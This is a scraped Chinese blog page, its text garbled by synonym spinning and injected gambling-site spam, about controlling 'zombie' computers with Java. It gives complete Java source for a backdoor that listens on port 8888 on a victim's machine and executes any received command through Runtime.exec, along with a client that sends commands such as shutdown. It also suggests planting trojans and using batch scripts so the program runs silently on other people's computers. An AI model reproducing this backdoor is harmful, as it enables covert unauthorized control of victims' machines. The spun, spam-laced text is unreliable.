快捷搜索:  as  test  1111  test aNd 8=8  test++aNd+8=8  as++aNd+8=8  as aNd 8=8

和记娱乐和记怡情AG:用java控制肉鸡



一样平常来说,经由过程端口扫描,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在若何向对方电脑发送敕令!一样平常电脑会开放一个135的端口,我们经由过程它做一些操作。大年夜名鼎鼎的“冲击波”便是经由过程它了实现的。

关于135的端口阐明如下:

135端口主要用于应用RPC(Remote Procedure Call,远程历程调用)协议并供给DCOM(散播式组件工具模型)办事。

端口阐明:135端口主要用于应用RPC(Remote Procedure Call,远程历程调用)协议并供给DCOM(散播式组件工具模型)办事,经由过程RPC可以包管在一台谋略机上运行的法度榜样可以顺利地履行远程谋略机上的代 码;应用DCOM可以经由过程收集直接进行通信,能够跨包括HTTP协议在内的多种收集传输。

当然经由过程java来实现,确凿有点艰苦,本人不多说。还有一种简单远程措施便是种木马。至于若何挂马的问题,不再本文的钻研范围,如有兴趣读者可以自己查阅。言归正传,我们看一下java远程节制的简单实现。

远程谋略机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import和记娱乐和记怡情AG java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new S和记娱乐和记怡情AGerverSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace(和记娱乐和记怡情AG);

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("连接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

道理很简单,便是在谋略机上建立一个ServerSocket, 监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后履行cmd敕令。

本机的代码如下:

import java.io.DataInputStream;

import java.io.D和记娱乐和记怡情AGataOutputStream;

import java.io.IOException;

import java.net.Socket;

import 和记娱乐和记怡情AGjava.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main{

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("连接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("输入敕令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

道理是,这边连入对方的办事端,向对方发送一个cmd敕令,对方电脑就会履行。简单的如“shutdown -s”,便是让对方关机。

弄清楚是怎么一回事后,就会发明这些异常的简单。有兴趣的话,大年夜家可以试一下。尤其是对付初学者,有很大年夜的动力。着实,Java在单机上也有很大年夜的成长潜力的。

别的假如要想让该法度榜样成功的在他人谋略机上悄悄的运行,只靠java照样不可。加上一些处批敕令,就可以简单的搞定。

免责声明:以上内容源自网络,版权归原作者所有,如有侵犯您的原创版权请告知,我们将尽快删除相关内容。

您可能还会对下面的文章感兴趣: